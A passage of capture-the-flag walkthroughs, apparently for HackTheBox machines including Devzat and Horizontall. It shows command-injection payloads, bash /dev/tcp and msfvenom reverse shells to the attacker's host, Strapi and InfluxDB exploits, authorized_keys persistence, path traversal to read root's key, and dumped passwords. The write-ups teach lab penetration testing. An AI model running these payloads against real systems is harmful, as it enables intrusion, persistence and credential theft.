We'll do exactly as the exploit code author says and run `msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun0 LPORT=40254 PrependFork=true -o rev.bin` to create the shellcode. Then, we will start a listener with netcat: `nc -nlvp 40254` (or use `pwncat-cs -lp 40254`). Finally, we run the exploit with `python3 50539.py 10.10.11.125:1337 rev.bin`... and we get a reverse shell. Nice!

We can now run `cat user.txt` to get the `user.txt` flag.

## Lateral Movement

Let's get some persistance with `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in `pwncat` (or upload the public key to `.ssh/authorized_keys` manually if using netcat).

Let's scan for possible privilege escalation techniques with [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) by running `upload linpeas.sh` in `pwncat` and then running `bash linpeas.sh` on the target.

In the running processing section of the LinPEAS report we see the following:

```
root         830  0.0  0.1   8356  3420 ?        S    Feb20   0:00  _ /usr/sbin/CRON -f
root         851  0.0  0.0   2608  1540 ?        Ss   Feb20   0:10      _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root ;; done
root       90213  0.0  0.0   5476   524 ?        S    04:32   0:00          _ sleep 1
```

LinPEAS highlights this as "95% a privilege escalation vector." (By the way, the box's version of sudo is also vulnerable to `CVE-2021-4034`, but this is a recent exploit and is not the intended escalation technique. HackTheBox might have also patched this method.)

Some quick online searching finds [this article](https://possiblelossofprecision.net/?p=1993) which mentions that we can use the `-x` argument to `screen` and then use the syntax `screen -x <user>/<session_name>` to connect. However, that only works if the `/bin/screen` binary has the SUID bit set. Running `ls -la /bin/screen` shows that it does have the SUID bit set: `-rwsr-xr-x 1 root root 474280 Feb 23 2021 /bin/screen` Additionally, the `screen` help page (`screen --help`) confirms our finding that the `-x` option looks to be what we want:

```
-x            Attach to a not detached screen. (Multi display mode).
```

Run `screen -x root/root` and now we have a root shell. We can run `cat /root/root.txt` to get the `root.txt` flag.

We could now copy over our ssh key to the root user or use `pwncat`'s `run implant.authorized_key key=/home/kali/.ssh/id_rsa` as root.


# Devzat

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.118 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.118`.

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://devzat.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.92%I=7%D=2/17%Time=620F17F2%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
Service Info: Host: devzat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Right off the bat we notice that there are two SSH servers running and one is on a non-standard port `8000`.

### Apache

Navigating to `http://10.10.11.118` redirects to `http://devzat.htb`, so we'll add that to our `/etc/hosts` file with `echo "10.10.11.118 devzat.htb" | sudo tee -a /etc/hosts`.

Trying some directory bruteforcing with `gobuster dir -u http://devzat.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` finds nothing interesting:

```
/images               (Status: 301) [Size: 309] [--> http://devzat.htb/images/]
/assets               (Status: 301) [Size: 309] [--> http://devzat.htb/assets/]
/javascript           (Status: 301) [Size: 313] [--> http://devzat.htb/javascript/]
```

Let's follow the directions at the bottom of the site: `ssh -l william devzat.htb -p 8000`. We get a simple messaging interface. After sending some messages and the message `help` this comes up:

```
devbot: See available commands with /commands or see help with /help ⭐
```

Sending `/help` outputs:

```
[SYSTEM] Welcome to Devzat! Devzat is chat over SSH: github.com/quackduck/devzat
[SYSTEM] Because there's SSH apps on all platforms, even on mobile, you can join from anywhere.
[SYSTEM] 
[SYSTEM] Interesting features:
[SYSTEM] • Many, many commands. Run /commands.
[SYSTEM] • Rooms! Run /room to see all rooms and use /room #foo to join a new room.
[SYSTEM] • Markdown support! Tables, headers, italics and everything. Just use in place of newlines.
[SYSTEM] • Code syntax highlighting. Use Markdown fences to send code. Run /example-code to see an example.
[SYSTEM] • Direct messages! Send a quick DM using =user <msg> or stay in DMs by running /room @user.
[SYSTEM] • Timezone support, use /tz Continent/City to set your timezone.
[SYSTEM] • Built in Tic Tac Toe and Hangman! Run /tic or /hang <word> to start new games.
[SYSTEM] • Emoji replacements! (like on Slack and Discord)
[SYSTEM] 
[SYSTEM] For replacing newlines, I often use bulkseotools.com/add-remove-line-breaks.php.
[SYSTEM] 
[SYSTEM] Made by Ishan Goel with feature ideas from friends.
[SYSTEM] Thanks to Caleb Denio for lending his server!
[SYSTEM] 
[SYSTEM] For a list of commands run
[SYSTEM] ┃ /commands
```

Visiting the linked [GitHub repo](https://github.com/quackduck/devzat) shows a seemingly legitimate project.

Sending `/commands` outputs:

```
SYSTEM] Commands
[SYSTEM] clear - Clears your terminal
[SYSTEM] message - Sends a private message to someone
[SYSTEM] users - Gets a list of the active users
[SYSTEM] all - Gets a list of all users who has ever connected
[SYSTEM] exit - Kicks you out of the chat incase your client was bugged
[SYSTEM] bell - Toggles notifications when you get pinged
[SYSTEM] room - Changes which room you are currently in
[SYSTEM] id - Gets the hashed IP of the user
[SYSTEM] commands - Get a list of commands
[SYSTEM] nick - Change your display name
[SYSTEM] color - Change your display name color
[SYSTEM] timezone - Change how you view time
[SYSTEM] emojis - Get a list of emojis you can use
[SYSTEM] help - Get generic info about the server
[SYSTEM] tictactoe - Play tictactoe
[SYSTEM] hangman - Play hangman
[SYSTEM] shrug - Drops a shrug emoji
[SYSTEM] ascii-art - Bob ross with text
[SYSTEM] example-code - Hello world!
```

After looking around, it seems like this is a legitimate service with no vulnerabilities.

### Virtual Hosts

[This page](https://www.thehacker.recipes/web/recon/virtual-host-fuzzing) has some good information about virtual host fuzzing.

To scan for virtual hosts we need to start our own local DNS server since the `/etc/hosts` doesn't support wildcards. We can use `dnsmasq`. Start it with `sudo systemctl start dnsmasq`. Then, edit the config file at `/etc/dnsmasq.conf` by adding `address=/devzat.htb/10.10.11.118` like so: `echo 'address=/devzat.htb/10.10.11.118' >> sudo /etc/dnsmasq.conf`. Finally, reload the `dnsmasq` service by running `sudo systemctl reload dnsmasq`.

* `gobuster` command: `gobuster vhost -u http://devzat.htb -t 100 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt`. However, it is just full of HTTP code 302 responses, which in theory can be filtered with `-b 302`, but that didn't work for me.
* `ffuf` command: `ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://devzat.htb -H "Host: FUZZ.devzat.htb" -fc 302` ([more command examples here](https://allabouttesting.org/top-25-example-usage-of-ffuf-web-fuzzer/)).

`ffuf` finds the `pets` subdomain:

```
pets                    [Status: 200, Size: 510, Words: 20, Lines: 21]
```

### Pets Virtual Host

This page contains a list of pets with 3 fields: name, species, and characteristics. There is also a button to delete items from the list. Additionally, we can add a pet by entering the name of the pet and selecting a species from a drop down list. Clicking the delete button shows a message saying `Not implemented, yet`.

Adding pets works as expected but after trying an SSTI (specifically, `{{7*7}}`), the only output added to the list is `exit status 1`. So, that is strange. We might have some sort of command injection.

Let's do directory bruteforcing with `ffuf`: `ffuf -w /usr/share/seclists/Discovery/Web-Content/big.txt -u http://pets.devzat.htb/FUZZ -fs 510`.

`ffuf` results:

```
.git                    [Status: 301, Size: 41, Words: 3, Lines: 3]
build                   [Status: 301, Size: 42, Words: 3, Lines: 3]
css                     [Status: 301, Size: 40, Words: 3, Lines: 3]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10]
```

There is a git repo. We can download the git repo with `wget -r -np -R "index.html*" http://pets.devzat.htb/.git/`. Run `git checkout -- .` to restore the working directory since we only download the `.git/` folder, not the entire working directory.

### Pets Source Code

Looking at `git log` and comparing commits with `git diff` shows that nothing was changed much in previous commits. We didn't find anything useful in previous commits.

Looking at the `main.go` file we see a section that is probably vulnerable to a command injection:

```go
func loadCharacter(species string) string {
    cmd := exec.Command("sh", "-c", "cat characteristics/"+species)
    stdoutStderr, err := cmd.CombinedOutput()
    if err != nil {
        return err.Error()
    }
    return string(stdoutStderr)
}
```

This function, `loadCharacter`, is called by `addPet`, which is called when a pet is added through the user interface. Thus, we can control the `species` variable in this function.

As you can see, POST requests go right to the `addPet` function:

```go
func petHandler(w http.ResponseWriter, r *http.Request) {
    // Dispatch by method
    if r.Method == http.MethodPost {
        addPet(w, r)
    } else if r.Method == http.MethodGet {
        getPets(w, r)

    } else {
        http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
    }
    // TODO: Add Update and Delete
}
```

In the `handleRequest` we discover that pets are added by POSTing the data to `/api/pet`. We could have also found this out using our browser's developer tools and monitoring the network requests.

## Foothold

Let's try a command injection using curl since the website's interface only lets us select species from a drop down. Our command injection payload is `dog;bash -i >& /dev/tcp/10.10.14.25/17344 0>&1`. We need to specify `dog` to finish off the `cat` command since we only control the command input after `cat characteristics/[OUR INPUT]`. We are using a simple bash reverse shell ([more reverse shell options here](https://www.revshells.com/)).

We can encode our payload as base64 so we don't have to deal with formatting issues: `echo -n "bash -i >& /dev/tcp/10.10.14.25/17344 0>&1" | base64`: `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx`. Now, our payload is `dog;echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx' | base64 -d | bash`

```
curl --header "Content-Type: application/json" \
  --request POST \
  --data '{"name":"a","species":"dog;echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNS8xNzM0NCAwPiYx' | base64 -d | bash"}' \
  http://pets.devzat.htb/api/pet
```

Start a listener with netcat with `nc -nvlp 17344` or use `pwncat`. This gives us a reverse shell connection to the user `patrick`. We can get persistance with `run implant.authorized_key key=/home/kali/.ssh/id_rsa` in `pwncat`. Now, we can connect with `ssh -i /home/kali/.ssh/id_rsa patrick@devzat.htb`.

There is no `user.txt` in `patrick`'s home directory. However, `cat /etc/passwd` shows another user `catherine` with uid `1001`.

## Lateral Movement

Let's upload LinPEAS with `upload linpeas.sh` and then run it with `bash linpeas.sh`.

Under the "Active Ports" section we see two unknown ports with services running locally: `8086` and `8443`.

```
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                                                                  
tcp        0      0 127.0.0.1:8086          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8443          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN      868/./petshop       
tcp6       0      0 :::80                   :::*                    LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::8000                 :::*                    LISTEN      872/./devchat
```

We can forward these to our attacker machine and investigate them using `nmap`. Let's first forward them using `SSH`: `ssh -i /home/kali/.ssh/id_rsa -L 8443:localhost:8443 -L 8086:localhost:8086 patrick@devzat.htb`.

Let's scan with `nmap`: `nmap -sC -sV -p8443,8086 localhost`:

```
PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
8443/tcp open  ssh     (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  256 66:61:73:b4:a2:9c:b1:b7:a9:81:7a:6e:1d:5d:fc:ec (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.92%I=7%D=2/18%Time=620F2EF9%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
```

Looks like port `8443` is `devzat` from before. Connecting with `ssh -l william localhost -p 8443` shows that it is. So, we can ignore that. Thus, our port forwards only needs to contain port `8086`: `ssh -i /home/kali/.ssh/id_rsa -L 8086:localhost:8086 patrick@devzat.htb`.

### InfluxDB

Port `8086` is much more interesting. It contains "InfluxDB http admin 1.7.5". However, navigating to `http://localhost:8086/` just shows `404 page not found`.

Searching "InfluxDB http admin 1.7.5" online finds the [HackTricks page](https://book.hacktricks.xyz/pentesting/8086-pentesting-influxdb) on it, which is really great. We learn that InfluxDB is "an open-source time series database (TSDB) developed by the company InfluxData. A time series database (TSDB) is a software system that is optimized for storing and serving time series through associated pairs of time(s) and value(s)."

The second result when searching "InfluxDB http admin 1.7.5" is [LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933). According to the repo: "InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). Exploit check if server is vulnerable, then it tries to get a remote query shell. It has built in a username bruteforce service."

Let's try to use this exploit since the target is running a vulnerable version of InfluxDB.

```
git clone https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933.git
cd InfluxDB-Exploit-CVE-2019-20933
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
python __main__.py
```

Running the exploit:

```
Host (default: localhost): 
Port (default: 8086): 
Username <OR> path to username file (default: users.txt): 

Bruteforcing usernames ...
[v] admin

Host vulnerable !!!

Databases:

1) devzat
2) _internal

.quit to exit
[admin@127.0.0.1] Database: devzat

Starting InfluxDB shell - .back to go back
```

Now, we have an InfluxDB so let's try to list the tables. Searching online for how to do this reveals that we need to run the `SHOW MEASUREMENTS` command. You can learn more about InfluxDB queries [on this page](https://docs.influxdata.com/influxdb/v1.8/query_language/explore-data/#the-basic-select-statement).

```
[admin@127.0.0.1/devzat] $ SHOW MEASUREMENTS
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "name"
                    ],
                    "name": "measurements",
                    "values": [
                        [
                            "user"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
```

Now, we can dump all the fields from the `users` measurement:

```
[admin@127.0.0.1/devzat] $ select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ],
            "statement_id": 0
        }
    ]
}
```

### `catherine` User

Now, we have credentials for `catherine` (`woBeeYareedahc7Oogeephies7Aiseci`), which will hopefully be the same as the user account `catherine` on the system.

Trying to simply ssh to the account with `ssh catherine@devzat.htb` outputs `Permission denied (publickey)`. So, it looks like password based ssh login is disabled.

However, since we are already signed in as `patrick`, we can `su catherine` and enter the password `woBeeYareedahc7Oogeephies7Aiseci`, which works.

We can now get the `user.txt` flag with `cat /home/catherine/user.txt`.

We can gain persistance by adding our public key to `catherine`'s `~/.ssh/authorized_keys` file: `echo [PUBLIC KEY HERE] >> ~/.ssh/authorized_keys`. Now, we can connect with `ssh -i /home/kali/.ssh/id_rsa catherine@devzat.htb`.

We can use this command to find files owned by `catherine` or that are world writable (from [Weird Location/Owned files - HackTricks](https://book.hacktricks.xyz/linux-unix/privilege-escalation#weird-location-owned-files)): `find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null`:

```
/snap/core18/2128/tmp
/snap/core18/2128/var/tmp
/snap/core18/2074/tmp
/snap/core18/2074/var/tmp
/dev/mqueue
/dev/shm
/home/catherine
/tmp
/tmp/test.txt
/tmp/tmux-1001
/tmp/.X11-unix
/tmp/.Test-unix
/tmp/linpeas.sh
/tmp/.font-unix
/tmp/.ICE-unix
/tmp/.XIM-unix
/var/backups/devzat-main.zip
/var/backups/devzat-dev.zip
/var/crash
/var/tmp
/run/user/1001
/run/user/1001/gnupg
/run/user/1001/systemd
/run/user/1001/systemd/units
/run/user/1001/inaccessible
/run/screen
/run/lock
```

These same results will appear when running LinPEAS under the header "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)."

The files `/var/backups/devzat-main.zip` and `/var/backups/devzat-dev.zip` are interesting. Maybe the `devzat` service is exploitable after all. We can download them easily using `pwncat`'s download command.

### Devzat Backups

We exact the backups and then find the difference between them using `diff dev main`:

```
diff '--color=auto' dev/allusers.json main/allusers.json
1c1,3
< {}
---
> {
>    "eff8e7ca506627fe15dda5e0e512fcaad70b6d520f37cc76597fdb4f2d83a1a3": "\u001b[38;5;214mtest\u001b[39m"
> }
diff '--color=auto' dev/commands.go main/commands.go
4d3
<       "bufio"
6,7d4
<       "os"
<       "path/filepath"
40d36
<               file        = commandInfo{"file", "Paste a files content directly to chat [alpha]", fileCommand, 1, false, nil}                                                               
42,101c38
<       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode, file}                                                                                             
< }
< 
< func fileCommand(u *user, args []string) {
<       if len(args) < 1 {
<               u.system("Please provide file to print and the password")
<               return
<       }
< 
<       if len(args) < 2 {
<               u.system("You need to provide the correct password to use this function")
<               return
<       }
< 
<       path := args[0]
<       pass := args[1]
< 
<       // Check my secure password
<       if pass != "CeilingCatStillAThingIn2021?" {
<               u.system("You did provide the wrong password")
<               return
<       }
< 
<       // Get CWD
<       cwd, err := os.Getwd()
<       if err != nil {
<               u.system(err.Error())
<       }
< 
<       // Construct path to print
<       printPath := filepath.Join(cwd, path)
< 
<       // Check if file exists
<       if _, err := os.Stat(printPath); err == nil {
<               // exists, print
<               file, err := os.Open(printPath)
<               if err != nil {
<                       u.system(fmt.Sprintf("Something went wrong opening the file: %+v", err.Error()))                                                                                      
<                       return
<               }
<               defer file.Close()
< 
<               scanner := bufio.NewScanner(file)
<               for scanner.Scan() {
<                       u.system(scanner.Text())
<               }
< 
<               if err := scanner.Err(); err != nil {
<                       u.system(fmt.Sprintf("Something went wrong printing the file: %+v", err.Error()))                                                                                     
<               }
< 
<               return
< 
<       } else if os.IsNotExist(err) {
<               // does not exist, print error
<               u.system(fmt.Sprintf("The requested file @ %+v does not exist!", printPath))
<               return
<       }
<       // bokred?
<       u.system("Something went badly wrong.")
---
>       commands = []commandInfo{clear, message, users, all, exit, bell, room, kick, id, _commands, nick, color, timezone, emojis, help, tictactoe, hangman, shrug, asciiArt, exampleCode}    
diff '--color=auto' dev/devchat.go main/devchat.go
27c27
<       port = 8443
---
>       port = 8000
114c114
<               fmt.Sprintf("127.0.0.1:%d", port),
---
>               fmt.Sprintf(":%d", port),
Only in dev: testfile.txt
```

At the bottom we see that the developer instance of `devzat` is running on port 8443 while the main version that we could access before is running on port 8000.

It looks like the main difference is that the development version has a `file` command with the description "Paste a files content directly to chat \[alpha]".

We will need to provide a password to use this command, which is in plain text in the code: `CeilingCatStillAThingIn2021?`.

### Getting `root`

Let's connect to the development version of `devzat` with `ssh -l william localhost -p 8443`:

```
william: /file
[SYSTEM] Please provide file to print and the password
william: /file /root/root.txt
[SYSTEM] You need to provide the correct password to use this function
william: /file /root/root.txt CeilingCatStillAThingIn2021?
[SYSTEM] The requested file @ /root/devzat/root/root.txt does not exist!
william: /file ../root.txt CeilingCatStillAThingIn2021?
```

Running `/file ../root.txt CeilingCatStillAThingIn2021?` returns the root flag.

We can get `root`'s private key with `/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?`. Now, we just paste that into a file, change the permissions with `chmod 600 devzat_root_key`, and ssh to the machine as root with `ssh -i devzat_root_key root@devzat.htb`. Finally, we have a root shell.


# Horizontall

## Enumeration

### Nmap

First, let's scan for open ports using `nmap`. We can quickly scan for open ports and store them in a variable: `ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.105 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)`. Then, we can scan those specific ports in depth by running `nmap`'s built-in scripts: `nmap -p$ports -sC -sV 10.10.11.105`.

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

It looks like there is an nginx webserver running on port 80 and SSH is open on port 22. Attempting to visit the website redirects us to `http://horizontall.htb`, so let's add that to `/etc/hosts`: `echo "10.10.11.105 horizontall.htb" | sudo tee -a /etc/hosts`.

### Nginx

Running `gobuster` against `http://horizontall.htb` doesn't return any meaningful results: `gobuster dir -u http://horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`.

After looking at the site source code, we find the following code segment in `app.c68eb462.js` (see an online JavaScript formatter, like [beautifier.io](https://beautifier.io/) to make the code readable):

```javascript
methods: {
    getReviews: function() {
        var t = this;
        r.a.get("http://api-prod.horizontall.htb/reviews").then((function(s) {
            return t.reviews = s.data
        }))
    }
}
```

Let's add this new subdomain to `/etc/hosts`: `echo "10.10.11.105 api-prod.horizontall.htb" | sudo tee -a /etc/hosts`.

Navigating to `http://api-prod.horizontall.htb/` simply says "Welcome" with a page title of "Welcome to your API".

### Wappalyzer

Checking [Wappalyzer](https://www.wappalyzer.com/) shows that this page is using the [Strapi CMS](https://github.com/strapi/strapi), which describes itself as a "Open source Node.js Headless CMS."

Searching for strapi vulnerabilities using `searchsploit` (`searchsploit strapi`) shows some exploits for version `3.0.0-beta`

```
------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                 |  Path
------------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated)                             | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)           | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated)     | multiple/webapps/50239.py
------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
```

### Gobuster

Let's try running `gobuster` on the new subdomain we found: `gobuster dir -u http://api-prod.horizontall.htb -t 100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`. This scan finds several available endpoints.

```
/admin                (Status: 200) [Size: 854]
/users                (Status: 403) [Size: 60] 
/reviews              (Status: 200) [Size: 507]
/Reviews              (Status: 200) [Size: 507]
/Users                (Status: 403) [Size: 60] 
/Admin                (Status: 200) [Size: 854]
/REVIEWS              (Status: 200) [Size: 507]
/%C0                  (Status: 400) [Size: 69]
```

So, it looks like we have `/admin`, `/reviews`, and `/users` to work with.

* `/users` returns a 403 Forbidden code.
* `admin` redirects us to `/admin/auth/login` and shows a Strapi login page.
* `/reviews` returns some JSON data containing what are presumably reviews for the service this company offers: `[{"id":1,"name":"wail","description":"This is good service","stars":4,"created_at":"2021-05-29T13:23:38.000Z","updated_at":"2021-05-29T13:23:38.000Z"},{"id":2,"name":"doe","description":"i'm satisfied with the product","stars":5,"created_at":"2021-05-29T13:24:17.000Z","updated_at":"2021-05-29T13:24:17.000Z"},{"id":3,"name":"john","description":"create service with minimum price i hop i can buy more in the futur","stars":5,"created_at":"2021-05-29T13:25:26.000Z","updated_at":"2021-05-29T13:25:26.000Z"}]`.

Thus, `/admin` appears to be the most promising.

## Foothold

We found some exploits using `searchsploit` earlier. So, maybe those will be helpful. We can also check [snyk](https://snyk.io), which finds [the same exploits plus a few more](https://snyk.io/vuln/npm:strapi).

Let's take a look at the "Remote Code Execution (RCE) (Unauthenticated)" exploit, since it requires the least access to the system and is a RCE. We can look at the exploit script on the [exploit-db website](https://www.exploit-db.com/exploits/50239) or by copying it to our home directory by running `searchsploit -m 50239.py`.

There is a `check_version` function that checks if the version of Strapi is the one with the vulnerability.

```python
def check_version():
    global url
    print("[+] Checking Strapi CMS Version running")
    version = requests.get(f"{url}/admin/init").text
    version = json.loads(version)
    version = version["data"]["strapiVersion"]
    if version == "3.0.0-beta.17.4":
        print("[+] Seems like the exploit will work!!!\n[+] Executing exploit\n\n")
    else:
        print("[-] Version mismatch trying the exploit anyway")
```

Apparently, the version information is public at the `/admin/init` endpoint. Requesting that endpoint (`curl http://api-prod.horizontall.htb/admin/init`) shows that the version is `3.0.0-beta.17.4`, which is indeed the vulnerable version: `{"data":{"uuid":"a55da3bd-9693-4a08-9279-f9df57fd1817","currentEnvironment":"development","autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}`.

Let's try running the script

```bash
$ python3 50239.py
[-] Wrong number of arguments provided
[*] Usage: python3 exploit.py <URL>
```

Looks like we simply need to specify the URL:

```bash
$ python3 50239.py http://api-prod.horizontall.htb
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQ0Nzg5MTM3LCJleHAiOjE2NDczODExMzd9.xOmEWy3K2A4eXRI01t4gmgxlmRSjCJI0v34HO9-kWTw

$>
```

Trying to authenticate with the provided credentials on the `/admin/auth/login` page works. However, this exploit also gives us remote code execution. Trying to run `whoami` returns an error though since it is a blind RCE exploit.

```bash
$> whoami
[+] Triggering Remote code executin
[*] Rember this is a blind RCE don't expect to see output
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
```

Maybe a reverse shell will work though. We can use [revshells](https://www.revshells.com/) to generate a bash reverse shell. The reverse shell command is `sh -i >& /dev/tcp/10.10.14.97/59726 0>&1` (you can find your ip using `ip a` and looking under `tun0`) and you can start a listener with netcat by running `nc -lvnp 59726`, but we will use [calebstewart/pwncat](https://github.com/calebstewart/pwncat) instead.

We can start a listener with `pwncat-cs -lp 59726`. Then, execute the reverse shell by running `sh -i >& /dev/tcp/10.10.14.97/59726 0>&1` using the RCE exploit. This doesn't work so we can try surrounding the reverse shell with `bash -c`: `bash -c 'sh -i >& /dev/tcp/10.10.14.97/59726 0>&1'`, which is effective.

## Lateral Movement

We now have access to the `strapi` account over SSH. We `cat /etc/passwd` and see that the `strapi` user's home folder is `/opt/strapi`. There is no `user.txt` here so we check the `developer` (id `1000`) user's home folder, which has the `user.txt` flag. We can view the `user.txt` flag with `cat /home/developer/user.txt`.

We can copy over an SSH key so that we can authenticate as the `strapi` user without having to reuse the exploit by running `run implant.authorized_key key=/home/kali/.ssh/id_rsa` within `pwncat`. Alternatively, the key can be manually copied over to the target machine. Now, we can reconnect with `pwncat-cs strapi@10.10.11.105 --identity /home/kali/.ssh/id_rsa`.

## Privilege Escalation

`pwncat` has some built-in escalation techniques, which we can try with `escalate list -u root`, but none of these work.

Within the `/opt/strapi` directory there is an RSA private and public key called `strapi` and `strapi.pub`, respectively. So, that might be useful.

We use the standard [LinPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) script to find potential privilege escalation paths. Pwncat makes it easy to transfer this script to the target with `upload /home/kali/linpeas.sh /opt/strapi/linpeas.sh`. Then, run it with `bash linpeas.sh`.

LinPEAS immediately tells us that the installed version of `sudo` is vulnerable to `CVE-2021-4034`, which is a very recent exploit and is not the intended solution. However, downloading [berdav/CVE-2021-4034](https://github.com/berdav/CVE-2021-4034) as a ZIP file, copying the file over, unzipping it, running `make` in the directory, and then executing `./cve-2021-4034` opens a root shell and the `root.txt` flag can be obtained with `cat /root/root.txt`.

However, LinPEAS also shows that there are open ports on `127.0.0.1`.

```
Active Ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1749/node /usr/bin/
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
```

